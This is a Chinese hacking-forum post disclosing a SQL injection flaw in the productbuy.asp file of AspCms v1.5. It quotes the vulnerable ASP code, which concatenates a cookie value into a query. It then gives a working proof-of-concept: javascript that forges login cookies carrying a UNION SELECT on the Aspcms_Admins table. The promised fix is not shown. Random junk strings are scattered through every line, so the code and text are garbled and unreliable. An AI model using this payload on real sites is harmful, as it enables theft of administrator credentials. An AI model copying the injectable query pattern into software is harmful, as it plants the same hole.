找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2290|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内....." V: _1 P9 Z  Y
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
( n- z4 ?7 Z9 }) `4 Z4 N废话不多说,看代码:
" i% Z% u0 L$ k8 N6 V
) M3 }6 z" i; O7 s<%
( ]) j) b+ D: z4 c: z5 m8 O  }9 Y$ j% u- y
if action = "buy" then
7 \3 R2 X7 a5 o
0 R4 z6 Q' s; r( |9 v        addOrder()! S$ \% e0 M0 F/ I9 @' G8 i
5 Q( k* r4 p7 \9 x
else
( X7 R3 i+ B6 F# `+ r7 [% e+ k1 i! x" K/ Z
        echoContent()
6 U( A% R) q2 a7 f0 G! P4 A; W4 i; X% K" L! g
end if! K; P, z4 D. A- S* F
' n* @; [* ^. e- k# |" M8 a

$ X  j% F! [. ^! b7 S
( t' G6 `9 |- |( S  b, y……略过5 |  R' D0 R& x$ h
4 S* \* B7 ^; J$ h4 G! L. x7 E

1 Q: A. I( I9 S+ A% d0 B
6 J5 R7 A6 ~' WSub echoContent()
  s- f' R: E0 \+ E2 _4 }8 o7 W) o& z! [- ~+ K7 B4 H
        dim id
6 s. W0 D; k3 d
: \/ T8 ^" ~0 Q1 _        id=getForm("id","get")) F$ N1 ~  i) L# c6 ?+ [4 Q1 c7 y

" S* q( ~' z2 ]1 q        6 m* o  [$ r# M' V
$ u7 f" L" o8 Q# a( A
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" , M3 M: ~  F5 L6 e4 a; d

: f7 |5 P$ q7 H2 i2 y2 P. _        
& m$ A9 s$ y, v5 h# I+ K9 T/ a
1 g$ W4 ~% P# l$ S3 Y, {        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
/ K* G8 ?' }% q- l# m2 L
6 e9 r1 U2 a3 n; K/ j* L0 ^        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
' n3 b5 H# n% q. K( o0 R
. U4 N: ~8 O! I( g        Dim templatePath,tempStr1 W' S* ]5 k& x8 A! ]

9 V% k: r/ d( N        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
' X2 ?) g! [; j
3 F7 f5 I8 z* Q0 x& `* u" p# U( f2 P/ Q& y1 a8 A! A) h

! G+ Y. `) v9 W; c( k0 f        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
& |5 l' W) L) i3 M1 J& }8 m
5 w  I0 ~3 U7 [+ f0 k' ]( q/ F, D        selectproduct=rsObj(0)
3 @9 X% `' q/ g0 |9 d" J7 {3 V
* p% [9 n3 c4 F$ O8 F" F        
3 f1 f: q; R& l# h' n1 |! j3 w
        Dim linkman,gender,phone,mobile,email,qq,address,postcode' A: Y7 x; J& {, @$ x, f2 ~  R
) S( c: M, o5 H. F9 G
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
1 a3 L8 i- h6 v9 V
0 ?1 T6 H$ E8 A7 E        if rCookie("loginstatus")=1 then  7 p0 r$ J' n/ y* s3 @

  L) h+ A) ^; K5 r! F* k7 A( _                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
. f  n) T' B" V4 N, X! W3 r( P; e  R' p/ |1 E& a$ T
                linkman=rsObj("truename")
2 c, C& f, g4 G2 f- S& H/ M/ c
% s9 g% r3 i5 @7 l( o# U% Y                gender=rsObj("gender")$ p. m) p- [$ q# W. C
& H5 y" {+ Y8 b
                phone=rsObj("phone")
- r  \, E  n: J3 T+ ]6 r3 P& Z0 h: V2 d% E/ Q
                mobile=rsObj("mobile")
' z# i+ W" h" M. i* c# E& h0 c( W
( D9 y; e$ M: X- B" r                email=rsObj("email")
0 X+ p" L1 _" j: }) J1 Y7 d$ M! U# j' m+ y9 U, y
                qq=rsObj("qq")6 Q9 U, N. B3 U2 e0 ^3 j# R) D
! u4 F9 }! _0 O3 A4 J0 d$ l9 F
                address=rsObj("address")/ l$ s9 [; H6 ?: n9 L2 Q  m4 _, p( z
. N' ^& g7 ^. R; n8 z+ K) L8 z) r* J
                postcode=rsObj("postcode")
; d! W% t/ G* H7 ^1 q
: \2 L# k9 K2 _        else 6 Y: e+ ?1 f: J( r

+ t: a; |: C7 x; I' }) S                gender=1
3 R4 [4 _( J" P$ k! @+ q; l5 }" b- f/ Y; m% k+ R/ t1 s9 q4 k
        end if( d, h0 n) i+ d2 ~$ l& g. v
0 O+ c+ q& t6 Y; D7 Z  n  e
        rsObj.close()' c! Q' K3 {6 Y$ z# F" m
. ^* `9 ~2 p0 V" V$ e  l
               
# E) b# U/ [  C- o" l6 K9 p0 R* x, E# u- g/ C2 x; [
        with templateObj 7 r' ^; |0 V' ]) h4 Q
9 E' m8 K+ P4 x% }$ s
                .content=loadFile(templatePath)        
' }, O2 S8 B+ v6 y8 W. N2 X4 o' P
                .parseHtml()1 v8 A# V; G# q8 N5 [$ F

2 B  W+ ~, a$ U1 k0 M# h                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
4 f' B" m3 K# `+ @( d9 I- ?6 A0 b; G$ o# A! }; U+ R
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
2 D3 p, J5 D' l" Z/ j
' h, G# T6 l& |3 K# _3 R$ d                .content=replaceStr(.content,"[aspcms:gender]",gender)                / K8 w& F) r6 a& Q* `8 g$ l
, H7 w0 n; I- r) U8 g) V7 R0 Q
                .content=replaceStr(.content,"[aspcms:phone]",phone)                8 x2 ?7 m( m. p$ I4 D. `( E
  o. ]2 e7 P- Y
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
6 E& ^+ Z% p, q$ d, S" ~8 G! x% R' \7 L
                .content=replaceStr(.content,"[aspcms:email]",email)                        
' P7 n7 w! {! n( h, J& }- F
. k9 E0 q9 H; N                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
  X6 X6 z! h) {+ Z' B' K1 s
5 L7 r; Y8 J) V: W1 ?0 P                .content=replaceStr(.content,"[aspcms:address]",address)                        - g9 ^. l- u1 k
7 k, H6 {" a# R" V2 t
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        7 T, @# H4 c0 F- _! X8 \! F: l

! s! h/ w) O% c6 p# e* v: F- u                .parseCommon()                 7 Y) @  i! G; O" o$ E
0 o% o0 O5 [2 }" o# l
                echo .content / w' S" o% P; K# G
2 i5 i, y( P; ^( O) U% C2 l
        end with
& C( W6 T5 v5 F3 ?. G8 j2 T- c3 P2 [2 e: y" D
        set templateobj =nothing : terminateAllObjects. R& y$ t# }0 D0 a4 v0 l: j
& `/ R: r, k$ N) Q9 h7 K
End Sub
& w% B4 g/ m. r9 e8 z+ Y漏洞很明显,没啥好说的
7 |( ~; y9 _1 B( Y- `0 C, p$ ypoc:
; x" e- P+ _0 H) c" @+ G  a! r! Z; v. Y! ]  }6 i5 u! x" N+ Z
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​6 G# |3 y3 y# F$ V
7 |4 h; V/ P) O3 I. h" c* ?: E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表